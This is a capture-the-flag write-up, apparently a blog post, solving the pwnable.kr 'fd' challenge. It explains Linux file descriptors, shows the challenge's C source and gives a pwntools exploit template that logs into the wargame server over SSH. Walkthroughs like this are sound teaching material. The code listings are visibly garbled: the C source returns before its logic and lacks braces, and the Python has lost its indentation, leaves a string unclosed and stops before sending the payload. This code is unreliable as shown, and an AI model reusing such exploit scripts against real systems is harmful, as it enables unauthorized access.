{"author": ["ret2basic"]}


Mommy! what is a file descriptor in Linux?
  • try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link: https://youtu.be/971eZhMHQQw
ssh [email protected] -p2222 (pw:guest)

Code Review

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
printf("pass argv[1] a number\n");
return 0;
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
printf("learn about Linux file IO\n");
return 0;
Take a look at this portion of the code:
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
From man7.org:
read() syscall


In Linux, the default file descriptors are:
  • stdin (standard input) => 0
  • stdout (standard output) => 1
  • stderr (standard error) => 2
We are able to control the value of fd. The desirable value is fd = 0 since it will open a stdin session. We can send information through stdin and that information will be stored in buf. The idea is clear:
  1. 1.
    Set argv[1] = 0x1234 so that fd = 0.
  2. 2.
    Send "LETMEWIN" through stdin.


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host pwnable.kr --port 2222 --user fd --password guest --path /home/fd/fd
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('fd')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'pwnable.kr'
port = int(args.PORT or 2222)
user = args.USER or 'fd'
password = args.PASSWORD or 'guest'
remote_path = '/home/fd/fd'
# Connect to the remote SSH server
shell = None
if not args.LOCAL:
shell = ssh(user, host, port, password)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Execute the target binary on the remote host'''
if args.GDB:
return gdb.debug([remote_path] + argv, gdbscript=gdbscript, ssh=shell, *a, **kw)
return shell.process([remote_path] + argv, *a, **kw)
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)
argv = [str(0x1234)]
io = start(argv)